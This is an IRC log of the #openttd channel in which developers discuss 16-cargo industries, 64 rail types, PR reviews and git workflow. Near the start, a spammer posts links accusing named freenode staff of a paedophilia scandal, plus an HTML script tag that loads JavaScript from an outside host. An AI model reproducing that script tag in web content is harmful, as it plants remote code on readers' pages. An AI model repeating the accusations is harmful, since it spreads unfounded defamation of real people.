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Log for #openttd on 26th July 2018:
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06:14:35  <andythenorth> hmm
06:14:42  <andythenorth> so FIRS with 16 input / output cargos
06:20:19  <peter1138> Oh gods
06:20:22  <peter1138> What have we done.
06:21:34  <andythenorth> well
06:21:36  <andythenorth> it's not done yet
06:21:54  <andythenorth> unless I missed a memo :P
06:22:20  <andythenorth> https://www.brainyquote.com/quotes/francis_ford_coppola_314419
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07:50:56  <pilottage> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
07:50:59  <pilottage> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
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07:51:02  <pilottage> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
07:51:06  <pilottage> This message was brought to you by Private Internet Access. Voice your opinions at https://webchat.freenode.net/?channels=%23freenode
07:51:09  <pilottage> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
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07:52:24  <Eddi|zuHause> so much for "is it over?"
07:53:44  <LordAro> heh
08:01:35  <andythenorth> oh dear
08:02:18  *** peter1138 sets mode: +R 
08:02:50  <LordAro> i like the script tag
08:03:03  <peter1138> Mmm
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10:51:28  <andythenorth> grump grump grump
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11:30:30  <peter1138>  sup
11:30:35  <peter1138> Is it lunch time yet?
11:31:51  <andythenorth> pretty much
11:32:29  <andythenorth> also merge time
11:36:22  <peter1138> I push -f'd :p
11:36:47  <peter1138> Only change is to update the savegame version log to include the PR number
11:41:24  <andythenorth> 64 of everything
11:41:29  <andythenorth> then see what broke
11:41:36  <andythenorth> 'probably fine'
12:04:25  <LordAro> peter1138: that seems like a reasonable thing
12:04:34  <LordAro> it's no worse than including the revision number, after all
12:10:27  <peter1138> Either of you fancy reapproving it? TB had done so but I wanted to get that comment right.
12:19:52  * andythenorth looks
12:21:56  <andythenorth> I probably can't :(
12:22:00  <andythenorth> sorry
12:22:58  <peter1138> Just a ticky box exercise...
12:23:01  <andythenorth> peter1138: so literally this changed since TB's review? https://github.com/OpenTTD/OpenTTD/pull/6805/commits/97d854bd1b9ccd545936253febe3b202c8e0858a#diff-2e3543c333838e2f3b92cbf76235777bR270
12:23:34  <peter1138> Yeah, just that line.
12:23:46  <peter1138> It didn't have the PR number initially
12:24:23  <peter1138> A separate commit would've been easier to review but then it'd be in the wrong revision. I didn't want to flatten this one.
12:24:46  <andythenorth> eh I thought TB gave me approval rights
12:24:51  <andythenorth> but I can't see an 'approve' button here
12:25:44  <peter1138> Clicked on "Files changed" tab
12:26:08  <peter1138> Then "Review changes" appears, approve is in there.
12:26:33  <peter1138> Feel free to let someone else do it ;)
12:26:36  <andythenorth> done
12:26:52  <andythenorth> no kittens died
12:27:12  <peter1138> No, that's my job in a second.
12:27:55  <peter1138> WE GONNA DIE
12:28:47  <andythenorth> probs have to fix NRT next
12:28:52  <peter1138> Yes
12:28:56  <peter1138> I have a patch for that...
12:28:57  <andythenorth> - fix the infinite payment bug
12:29:00  <andythenorth> - add 64 types :P
12:29:01  <peter1138> Not that one yet.
12:29:08  <peter1138> Did the 64 types ;)
12:29:17  <andythenorth> think of all the free map bits we have now
12:29:49  <andythenorth> 64 kinds of fence :P
12:30:06  <andythenorth> mumble mumble trees
12:37:01  <peter1138> 2^64 maps
12:37:29  <peter1138> Might need to wait a bit for RAM for that.
12:39:26  <peter1138> https://github.com/PeterN/OpenTTD/commit/e29929f87a75e35c0ddeb78cd48f201a913f00a3 < based on the wrong patch but I should be able to update it easily.
12:39:43  <peter1138> Then you can cherry-pick and push
12:41:31  <andythenorth> https://github.com/andythenorth/OpenTTD/commits/nrt-block
12:41:44  <peter1138> Wut
12:41:46  <andythenorth> dunno if that should be squashed
12:41:49  <peter1138> No, NOT YET
12:42:09  <peter1138> That's the outdated version o_O
12:42:24  <peter1138> "I should be able to update it easily." "Then you can cherry-pick and push"
12:42:27  <peter1138> Not ... DO IT NOW
12:42:30  <andythenorth> I missed 'then'
12:42:48  <peter1138> You need to undo that
12:43:09  <andythenorth> yair
12:43:16  <peter1138> git reset HEAD~1
12:43:32  <andythenorth> every time I do this I get slightly less bad at git
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12:44:03  <peter1138> No, I think that was pretty bad.
12:44:23  <andythenorth> yes but now I learnt a new way to back out
12:44:27  <andythenorth> instead of reverting the commit
12:44:35  <andythenorth> https://github.com/andythenorth/OpenTTD/commits/nrt-block
12:44:41  <peter1138> That's true :p
12:44:43  <andythenorth> usually I just revert, and then get 2 commits
12:44:53  <andythenorth> and then a merge pain later, when the reverted stuff is re-merged
12:45:24  <peter1138> Rewriting history is anathema to how the people who designed git use git. But it's useful ;)
12:45:45  <andythenorth> if I do this at work I'm a get yelled at :D
12:45:50  <peter1138> Yup
12:46:00  <peter1138> You can do it in your own local branches though. Nobody will know.
12:46:04  <andythenorth> it's not that we care about history much, but we don't like it being changed under us
12:46:13  <peter1138> We'd never do it in master either.
12:46:38  <SpComb> github protected branches
12:53:59  <andythenorth> 131 closed PRs
12:54:13  <andythenorth> https://github.com/OpenTTD/OpenTTD/pulls?q=is%3Apr+is%3Aclosed
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13:27:02  <Alberth> o/
13:27:58  <andythenorth> hi Alberth
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14:26:03  <nielsm> allright birds' cage cleaned, time to look at this newgrf stuff again
14:30:10  <andythenorth> :D
14:30:16  <andythenorth> one bird or plural bird?
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14:32:38  <nielsm> two
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14:49:09  <nielsm> have anyone made a space theme where water is replaced with blackness with occasional shimmering stars? :D
14:49:40  <nielsm> and the land is rocky asteroids
14:50:13  <colde> If nobody has, could they?
14:50:25  <peter1138> Hmm, interesting theme.
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14:50:43  <peter1138> The obvious planet/moon surface has been done, but not that, I think.
14:55:12  <nielsm> original starcraft had the space platform theme too
15:05:23  <nielsm> hmm, looking at newgrf specs, I think there is an issue with 64 cargo types here
15:05:40  <nielsm> callback 2A and 2C only use 5 bits per cargo type
15:05:50  <nielsm> with 3 cargoes packed into 16 bits
15:06:16  <nielsm> so only the first 32 cargo indices known by the newgrf can be used for acceptance
15:06:17  <nielsm> I think?
15:06:29  <nielsm> or was that fixed in some way?
15:06:47  <nielsm> oh right only used for dynamic acceptance
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15:15:07  <peter1138> Also it's an index into a cargo translation table, not the direct cargo index.
15:15:41  <peter1138> I did once have a patch for 32 bit callback responses...
15:16:06  <peter1138> Urgh, not home time yet.
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15:37:57  <nielsm> huh how do I translate a CargoID back to a translation table index
15:42:15  <nielsm> ah there is a GRFFile::cargo_map array
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15:51:57  <peter1138> There should already be functions to do that.
15:59:48  <nielsm> looks like a straight lookup is the way to do it, indspec->grf_prop.grffile->cargo_map[cargo_type]
15:59:55  <nielsm> I see that pattern several places already
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17:13:49  <nielsm> IT COMPILES
17:13:50  <nielsm> again
17:14:01  <andythenorth> awesome :)
17:14:05  <andythenorth> I will BBL
17:14:07  <andythenorth> or tomorrow :)
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17:14:11  <nielsm> going to smoke test a bit
17:14:46  <nielsm> https://0x0.st/sVY0.jpg
17:14:48  <nielsm> nope
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17:18:43  <frosch123> @mode -R
17:18:43  *** DorpsGek sets mode: -R 
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17:23:26  <nielsm> lol
17:23:40  <nielsm> the industry chain window becomes ridiculously large with 16 in/out
17:23:53  <nielsm> the sizing logic for it might need some reworking
17:24:35  <nielsm> https://0x0.st/sVYR.png
17:24:40  <nielsm> that's minimum size
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17:28:24  <Wolf01> o/
17:28:43  <violet> o/
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17:34:30  <frosch123> @mode +R
17:34:30  *** DorpsGek sets mode: +R 
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17:38:11  <LordAro> frosch123: heh
17:38:24  <LordAro> that one even said hello
17:40:54  <nielsm> I wonder, #tycoon isn't getting any, is it just the size perhaps?
17:42:22  <Wolf01> Maybe they noticed here is full of different animals and came
17:43:53  <LordAro> nielsm: i think this is one of the larger channels on oftc
17:44:03  <LordAro> so it's probably on a list of popular channels or something
17:51:35  <Wolf01> Oh, Eddi|zuHause: I think I found a really plausible reason for the "unread messages" on the phpBB forums, it seem to do it with a high chance when you use the history back instead of the link to the section, it seem to lose the topic you have just read in the section variable
17:53:09  <frosch123> LordAro: it's also in devzone, and that has only 21 animals and zombies
17:53:16  <Eddi|zuHause> huh? if you use back, you likely have a cached version of the page, with the newly-unread messages not counting, obviously. but that doesn't explain cases where you get to the page from elsewhere
17:53:26  <LordAro> frosch123: no idea then
17:53:35  <Eddi|zuHause> err, newly-read
17:56:08  <Wolf01> I should look at the phpBB sources to know what it does with cookies, maybe it's just an inconsistent status with caches and history
18:00:06  <Wolf01> BTW, dinner
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18:29:32  <frosch123> planetmaker: https://github.com/frosch123/nml <- does this look reasonable?
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19:06:50  <Eddi|zuHause> are we even still close to anything "reasonable" here?
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19:52:44  <andythenorth> o/
19:53:06  <frosch123> andythenorth:  https://github.com/frosch123/nml <- does this look reasonable?
19:53:23  <frosch123> i migrated various authors to the usual emails
19:53:29  <andythenorth> at first glance looks totally fine
19:53:31  <andythenorth> let me pull
19:54:09  <andythenorth> how did you do it?
19:54:53  <andythenorth> not sure I've ever seen https://github.com/kaechele
19:56:29  <frosch123> it's he*fner
19:56:33  <andythenorth> oic
19:56:34  <andythenorth> ok
19:56:36  <frosch123> out fedora guy
19:56:54  <frosch123> i entered the fedora email, and github linked to that guy
19:57:38  <andythenorth> my checkout isn't picking up the 2 stale release branches
19:57:42  <andythenorth> not sure if that's my failure
19:57:45  <andythenorth> probably doesn't matter
19:59:43  <andythenorth> the checkout works and 'make test' passes
20:03:01  <nielsm> okay I think the newgrf spec for 16-in-16-out industries is implemented now :)
20:03:13  <andythenorth> oh :)
20:03:16  <andythenorth> \o/
20:03:21  <nielsm> smoke testing loading old saves passes
20:03:45  <nielsm> tried with original industries, and versions of FIRS 3, ECS, SPI
20:04:59  <andythenorth> I should test eh
20:05:07  <nielsm> please break it :D
20:05:41  <andythenorth> hmm
20:05:47  <andythenorth> how to update a local PR branch
20:05:51  * andythenorth google
20:06:02  <nielsm> easiest is probably to delete and re-fetch it
20:06:06  <nielsm> because I force pushed
20:06:16  <andythenorth> ok
20:06:29  <nielsm> since the 64 railtypes PR was accepted and bumped save version, making my changes not merge
20:07:29  <andythenorth> what are the .obg, .obm etc files that creep into my checkout?
20:07:55  <nielsm> base set definitions?
20:08:22  <frosch123> incomplete eints scripts :)
20:08:30  <nielsm> yeah
20:08:32  <frosch123> more magic needed
20:08:35  <andythenorth> every time I run ./configure, my git is poisoned :)
20:08:51  <nielsm> makefile build updates the translations in the bin/ versions with strings from the lang files
20:08:55  <andythenorth> I'll keep ignoring them
20:08:57  <andythenorth> shit happens
20:09:27  <nielsm> "git checkout bin/*.ob?"
20:09:29  <andythenorth> :)
20:09:36  <nielsm> will probably restore them to unchanged state
20:09:45  <andythenorth> I just reset hard
20:09:50  <andythenorth> my favourite git command
20:09:56  <andythenorth>  /me compiling
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20:10:04  <andythenorth> wonder if it will be faster when my quad core arrives
20:10:24  <nielsm> remember to use parallel make, make -j4
20:10:28  <nielsm> for 4 threads
20:14:53  <Wolf01> Remember to switch to a proper operating system
20:19:00  <LJ> Wolf01: you mean any OS released in the past 5 years?
20:19:24  <peter1138> Only 4 threads? o_O
20:22:00  <Alberth> export MAKEFLAGS=-j4
20:22:09  <Alberth> much simpler :)
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20:24:21  <andythenorth> I use -j13 usually :P
20:28:50  <nielsm> anyway, the part I'm most unsure about with the newgrf support for many cargoes is the CB querying for all types in FinaliseIndustriesArray()
20:29:32  <nielsm> but at least it seems to be working for existing newgrfs
20:33:21  <andythenorth> I can't break it so far
20:33:43  <peter1138> SHIP IT
20:33:54  <peter1138> I think we did that joke.
20:33:54  <andythenorth> he made a PR :P
20:34:37  <andythenorth> @seen snail_UES
20:34:37  <DorpsGek> andythenorth: I have not seen snail_UES.
20:36:40  <andythenorth> industry directory window will get....wide eh? :)
20:36:46  <andythenorth> with 16 output cargos
20:38:58  <andythenorth> nielsm: definitely 16? o_O
20:39:19  <andythenorth> I don't want to argue it out, just curious if 8 is any better
20:39:32  <nielsm> https://user-images.githubusercontent.com/1062071/43287240-b9388e30-9124-11e8-913a-42a002cf847b.png
20:39:40  <nielsm> yeah maybe 8 is enough :P
20:39:41  <frosch123> does the gui change even when industries do not use that many cargos?
20:40:05  <nielsm> the industry chain gui always makes room for the max number
20:40:10  <frosch123> hmm, isn't it possible to first count the number of cargos, and then make it as big as needed
20:40:25  <nielsm> that's also one of my ideas for solving it
20:40:51  <andythenorth> I am +/-0 on 16, I just wonder if it eases the UI issues
20:41:04  <andythenorth> 16 is 'more than enough' unless someone is trolling
20:41:32  <nielsm> I think 8 will be "not quite enough" for some cases
20:41:40  <nielsm> maybe 10 is a better comprimise actually
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20:43:09  <andythenorth> in that case I'd stick to 16
20:43:24  <andythenorth> it's a nice power of 2, and is definitely 'more than enough'
20:43:59  <nielsm> yea I think finding a solution to the GUI problem now is better in the long run
20:44:23  <peter1138> Larks
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20:48:18  * andythenorth has some terrible ideas
20:48:28  <andythenorth> not for GUI, but for troll industry grfs
20:49:18  <andythenorth> deliver any of 16 cargos, it's split 16 ways
20:49:29  <andythenorth> returning 15 of the 16 inputs, and one new one
20:49:41  <andythenorth> 16 industry types like that
20:49:56  <andythenorth> total stupidity
20:52:44  <frosch123> V would be proud of you
20:53:11  <andythenorth> all cargos are just 'A', 'B' etc
20:53:16  <andythenorth> and YETI
20:53:27  <LordAro> :D
20:53:52  <nielsm> hm slightly better! https://0x0.st/sVEx.png
20:53:52  <andythenorth> mostly, I am just going to increase some outputs to 3
20:53:59  <andythenorth> in actual FIRS
20:54:06  <andythenorth> nielsm: yeah that's nicer
20:54:12  <nielsm> still too wide
20:54:30  <andythenorth> oh it's allowing for 16 columns?
20:54:38  <nielsm> yes :/
20:55:23  <andythenorth> hmm
20:55:30  <nielsm> and I can't figure out where it calculates that
20:55:31  <andythenorth> 16 is going to be an ugly fest eh
20:55:50  <nielsm> 16 cargoes only supported on high resolution displays
20:56:35  * andythenorth might have to sleep
20:56:48  <nielsm> ditto
20:56:52  <andythenorth> gn all
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21:07:38  <nielsm> okay it's back to normal!
21:08:24  <nielsm> https://0x0.st/sVEk.png
21:09:54  <nielsm> and that's enough work for tonight
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21:18:38  <peter1138> Is that by reverting? :D
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21:53:34  <Wolf01> 'night
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22:31:12  <peter1138> Hmm, right, should I rebase nrt-block again? :o
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